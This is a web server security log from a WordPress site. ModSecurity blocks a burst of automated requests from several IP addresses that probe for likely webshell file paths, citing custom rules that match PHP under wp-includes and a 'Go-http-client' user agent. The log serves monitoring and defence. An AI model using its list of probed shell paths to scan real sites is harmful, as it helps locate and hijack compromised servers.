[Sat Nov 15 06:15:47.085788 2025] [:error] [pid 27911:tid 27978] [client 85.203.21.54:22931] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/namespaced/Core/about.php"] [unique_id "aReqE8GzUdrhGBIfiKTLegAAAIo"]
[Sat Nov 15 06:15:47.275415 2025] [:error] [pid 27909:tid 27921] [client 85.203.21.204:40877] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/new.php"] [unique_id "aReqEyTfZ6B57n8HepWXKQAAAAg"]
[Sat Nov 15 06:15:47.483497 2025] [:error] [pid 27911:tid 27983] [client 85.203.21.207:34491] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/block-directory/index.php"] [unique_id "aReqE8GzUdrhGBIfiKTLfAAAAI8"]
[Sat Nov 15 06:15:47.681390 2025] [:error] [pid 27910:tid 27947] [client 85.203.21.221:57387] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/back.php"] [unique_id "aReqE46e1LusHMYkS7ZeRwAAAEY"]
[Sat Nov 15 06:15:47.890800 2025] [:error] [pid 27997:tid 28011] [client 85.203.21.41:36593] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/aves.php"] [unique_id "aReqE9pja_6cDxKbxFkmZwAAAMw"]
[Sat Nov 15 06:15:48.088610 2025] [:error] [pid 27997:tid 28022] [client 85.203.21.172:38363] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aReqFNpja_6cDxKbxFkmaAAAANc"]
[Sat Nov 15 06:15:48.296647 2025] [:error] [pid 27911:tid 27971] [client 85.203.21.221:63107] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aReqFMGzUdrhGBIfiKTLfgAAAIM"]
[Sat Nov 15 06:15:48.518876 2025] [:error] [pid 27910:tid 27953] [client 85.203.21.235:55301] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aReqFI6e1LusHMYkS7ZeSAAAAEw"]
[Sat Nov 15 06:15:48.706777 2025] [:error] [pid 27997:tid 28006] [client 85.203.21.58:28617] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aReqFNpja_6cDxKbxFkmaQAAAMc"]
[Sat Nov 15 06:15:48.983332 2025] [:error] [pid 27909:tid 27913] [client 193.37.32.2:59487] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aReqFCTfZ6B57n8HepWXLAAAAAA"]
[Sat Nov 15 06:15:49.178856 2025] [:error] [pid 27909:tid 27928] [client 85.203.21.178:30639] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aReqFSTfZ6B57n8HepWXLQAAAA8"]
[Sat Nov 15 06:15:49.375619 2025] [:error] [pid 27997:tid 28012] [client 85.203.21.160:48729] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aReqFdpja_6cDxKbxFkmagAAAM0"]
[Sat Nov 15 06:15:49.607844 2025] [:error] [pid 27909:tid 27932] [client 85.203.21.172:43889] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aReqFSTfZ6B57n8HepWXLwAAABM"]
[Sat Nov 15 06:15:49.785916 2025] [:error] [pid 27910:tid 27957] [client 85.203.21.160:46465] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aReqFY6e1LusHMYkS7ZeTAAAAFA"]
[Sat Nov 15 06:15:49.984645 2025] [:error] [pid 27911:tid 27985] [client 193.37.32.1:46961] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aReqFcGzUdrhGBIfiKTLgQAAAJE"]
[Sat Nov 15 06:15:51.296147 2025] [:error] [pid 27909:tid 27922] [client 85.203.21.156:63877] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aReqFyTfZ6B57n8HepWXMgAAAAk"]
[Sat Nov 15 06:15:51.472876 2025] [:error] [pid 27997:tid 28018] [client 85.203.21.155:55699] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aReqF9pja_6cDxKbxFkmbgAAANM"]
[Sat Nov 15 06:15:51.675480 2025] [:error] [pid 37318:tid 37376] [client 85.203.21.232:29439] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aReqF-gM1rHoEAqoQDc3KwAAAQ4"]
[Sat Nov 15 06:15:51.876839 2025] [:error] [pid 27909:tid 27926] [client 85.203.21.210:34359] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aReqFyTfZ6B57n8HepWXMwAAAA0"]
[Sat Nov 15 06:15:52.074024 2025] [:error] [pid 27909:tid 27937] [client 85.203.21.232:40677] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aReqGCTfZ6B57n8HepWXNAAAABg"]
[Sat Nov 15 06:15:52.279858 2025] [:error] [pid 37318:tid 37380] [client 193.37.32.3:53559] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/"] [unique_id "aReqGOgM1rHoEAqoQDc3LAAAARI"]
[Sat Nov 15 06:15:52.480935 2025] [:error] [pid 27909:tid 27935] [client 85.203.21.227:51769] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aReqGCTfZ6B57n8HepWXNwAAABY"]
[Sat Nov 15 06:15:57.699624 2025] [:error] [pid 27909:tid 27937] [client 85.203.21.192:36211] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/classwithtostring.php"] [unique_id "aReqHSTfZ6B57n8HepWXPQAAABg"]
[Sat Nov 15 06:15:57.893637 2025] [:error] [pid 27997:tid 27999] [client 85.203.21.232:27777] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aReqHdpja_6cDxKbxFkmdgAAAMA"]
[Sat Nov 15 06:15:58.080968 2025] [:error] [pid 37318:tid 37381] [client 85.203.21.239:36397] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aReqHugM1rHoEAqoQDc3OQAAARM"]
[Sat Nov 15 06:15:58.387702 2025] [:error] [pid 37318:tid 37373] [client 85.203.21.222:48315] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/index.php"] [unique_id "aReqHugM1rHoEAqoQDc3OwAAAQs"]
[Sat Nov 15 06:15:58.573454 2025] [:error] [pid 37318:tid 37388] [client 85.203.21.195:30931] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/about.php"] [unique_id "aReqHugM1rHoEAqoQDc3PQAAARY"]
[Sat Nov 15 06:15:58.779413 2025] [:error] [pid 37318:tid 37369] [client 85.203.21.58:20841] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aReqHugM1rHoEAqoQDc3PwAAAQc"]
[Sat Nov 15 06:15:58.973386 2025] [:error] [pid 27909:tid 27936] [client 85.203.21.217:41317] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aReqHiTfZ6B57n8HepWXPgAAABc"]
[Sat Nov 15 06:15:59.204843 2025] [:error] [pid 27909:tid 27935] [client 85.203.21.167:43115] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aReqHyTfZ6B57n8HepWXPwAAABY"]
[Sat Nov 15 06:15:59.407481 2025] [:error] [pid 27911:tid 27972] [client 85.203.21.195:41333] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/admin-header.php"] [unique_id "aReqH8GzUdrhGBIfiKTLjgAAAIQ"]
[Sat Nov 15 06:15:59.598955 2025] [:error] [pid 27997:tid 28018] [client 85.203.21.238:61061] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aReqH9pja_6cDxKbxFkmegAAANM"]
[Sat Nov 15 06:15:59.816506 2025] [:error] [pid 27997:tid 28001] [client 85.203.21.195:23629] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aReqH9pja_6cDxKbxFkmfAAAAMI"]
[Sat Nov 15 06:16:00.016784 2025] [:error] [pid 27911:tid 27977] [client 193.37.32.3:54241] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aReqIMGzUdrhGBIfiKTLkAAAAIk"]
[Sat Nov 15 06:16:00.219422 2025] [:error] [pid 27909:tid 27919] [client 85.203.21.184:42125] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/404.php"] [unique_id "aReqICTfZ6B57n8HepWXQAAAAAY"]
[Sat Nov 15 06:16:00.408283 2025] [:error] [pid 27997:tid 28013] [client 85.203.21.176:37993] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aReqINpja_6cDxKbxFkmfQAAAM4"]
[Sat Nov 15 06:16:00.596762 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.223:50155] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/class.api.php"] [unique_id "aReqIOgM1rHoEAqoQDc3QwAAARE"]
[Sat Nov 15 06:16:00.778145 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.207:40967] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aReqIOgM1rHoEAqoQDc3RQAAAQw"]
[Sat Nov 15 06:16:00.975432 2025] [:error] [pid 27909:tid 27916] [client 85.203.21.202:39457] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/includes/external/page/index.php"] [unique_id "aReqICTfZ6B57n8HepWXQQAAAAM"]
[Sat Nov 15 06:16:01.187135 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.239:39769] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-config-sample.php"] [unique_id "aReqIegM1rHoEAqoQDc3RwAAAQA"]
[Sat Nov 15 06:16:01.416394 2025] [:error] [pid 27909:tid 27914] [client 85.203.21.207:21605] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aReqISTfZ6B57n8HepWXQgAAAAE"]
[Sat Nov 15 06:16:01.612284 2025] [:error] [pid 27997:tid 28014] [client 85.203.21.157:27683] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aReqIdpja_6cDxKbxFkmgAAAAM8"]
[Sat Nov 15 06:16:01.988395 2025] [:error] [pid 27910:tid 27941] [client 85.203.21.210:63875] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/nav.php"] [unique_id "aReqIY6e1LusHMYkS7ZeXAAAAEA"]
[Sat Nov 15 06:16:02.183728 2025] [:error] [pid 27909:tid 27934] [client 85.203.21.206:22743] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aReqIiTfZ6B57n8HepWXRAAAABU"]
[Sat Nov 15 06:16:02.378943 2025] [:error] [pid 27997:tid 28000] [client 193.37.32.3:42953] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/files/"] [unique_id "aReqItpja_6cDxKbxFkmhQAAAME"]
[Sat Nov 15 06:16:02.574590 2025] [:error] [pid 27997:tid 28007] [client 85.203.21.45:43993] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aReqItpja_6cDxKbxFkmhwAAAMg"]
[Sat Nov 15 06:16:02.791936 2025] [:error] [pid 27997:tid 28008] [client 85.203.21.157:55615] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aReqItpja_6cDxKbxFkmiAAAAMk"]
[Sat Nov 15 06:16:02.984445 2025] [:error] [pid 27997:tid 28002] [client 85.203.21.160:51293] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aReqItpja_6cDxKbxFkmiQAAAMM"]
[Sat Nov 15 06:16:03.173331 2025] [:error] [pid 27909:tid 27917] [client 85.203.21.168:52519] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aReqIyTfZ6B57n8HepWXSAAAAAQ"]
[Sat Nov 15 06:16:03.396118 2025] [:error] [pid 27910:tid 27948] [client 85.203.21.45:55437] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aReqI46e1LusHMYkS7ZeYAAAAEc"]
[Sat Nov 15 06:16:03.597624 2025] [:error] [pid 37318:tid 37383] [client 85.203.21.204:23329] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "aReqI-gM1rHoEAqoQDc3SwAAARU"]
[Sat Nov 15 06:16:03.878648 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.235:33815] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "aReqI-gM1rHoEAqoQDc3TQAAARE"]
[Sat Nov 15 06:16:04.162826 2025] [:error] [pid 27910:tid 27942] [client 85.203.21.58:44171] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aReqJI6e1LusHMYkS7ZeYwAAAEE"]
[Sat Nov 15 06:16:04.688399 2025] [:error] [pid 27910:tid 27955] [client 85.203.21.172:40195] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/privacy-tools.min.php"] [unique_id "aReqJI6e1LusHMYkS7ZeZAAAAE4"]
[Sat Nov 15 06:16:04.919737 2025] [:error] [pid 37318:tid 37388] [client 85.203.21.156:35235] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aReqJOgM1rHoEAqoQDc3UQAAARY"]
